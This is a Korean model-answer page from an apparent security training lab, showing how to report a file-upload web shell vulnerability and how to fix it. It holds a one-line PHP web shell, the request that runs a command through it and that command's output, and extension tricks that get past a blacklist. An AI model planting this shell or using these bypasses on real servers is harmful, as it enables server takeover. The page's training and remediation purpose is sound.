Warning: Undefined variable $dir in /var/www/html/includes/report_guide_infra.php on line 177
보고서 가이드 — ForusSec Lab
W-05

파일 업로드 취약점 (웹쉘 업로드)

위험도: 상
⚠️ 위험도 근거: 웹쉘 업로드로 서버 장악, 내부 네트워크 접근 가능
📌 아래 내용이 표준 보고서에 포함되어야 합니다. 자신이 작성한 보고서와 대조하세요.

취약점 개요

📄 표준 내용
파일 업로드 기능에서 업로드 가능한 파일 형식에 대한 검증이 미흡하여, PHP 웹쉘(.php) 파일을 업로드하고 웹 브라우저를 통해 실행할 수 있는 취약점이다. 공격자는 웹쉘을 통해 서버 운영체제 명령을 실행할 수 있다.

발견 내용

📄 표준 내용
[점검 대상]
URL: POST /upload.php
업로드 디렉터리: /uploads/ (웹에서 직접 접근 가능)

[점검 절차]
1. 웹쉘 파일 생성: shell.php
   내용: <?php system($_GET['cmd']); ?>

2. 파일 업로드 시도
   - Content-Type: application/octet-stream
   - 파일명: shell.php
   - 결과: 업로드 성공

3. 웹쉘 실행
   GET /uploads/shell.php?cmd=id
   응답: uid=33(www-data) gid=33(www-data)

4. 우회 시도 기록
   - shell.php5 → 성공
   - shell.phtml → 성공
   (확장자 블랙리스트만 적용, 화이트리스트 미적용으로 우회 가능)

[결과] 서버에서 임의 명령 실행 성공

조치 방안

📄 표준 내용
[즉시 조치]
1. 파일 확장자 화이트리스트 방식 적용:
   허용: ['jpg', 'jpeg', 'png', 'gif', 'pdf']
   $allowed = ['jpg','jpeg','png','gif','pdf'];
   if (!in_array($ext, $allowed)) { die('허용되지 않는 형식'); }

2. MIME 타입 검증 (이중 검증):
   $finfo = new finfo(FILEINFO_MIME_TYPE);
   $mime = $finfo->file($_FILES['file']['tmp_name']);
   허용 MIME: ['image/jpeg', 'image/png', 'image/gif']

3. 업로드 파일명 랜덤화:
   $newname = uniqid() . '.' . $ext;

4. 업로드 디렉터리 실행 권한 제거:
   .htaccess: php_flag engine off
   또는 웹 루트 외부로 업로드 디렉터리 이동

[추가 조치]
5. 파일 크기 제한 (5MB 이하)
6. 안티바이러스 연동
7. CDN/별도 도메인에서 파일 서빙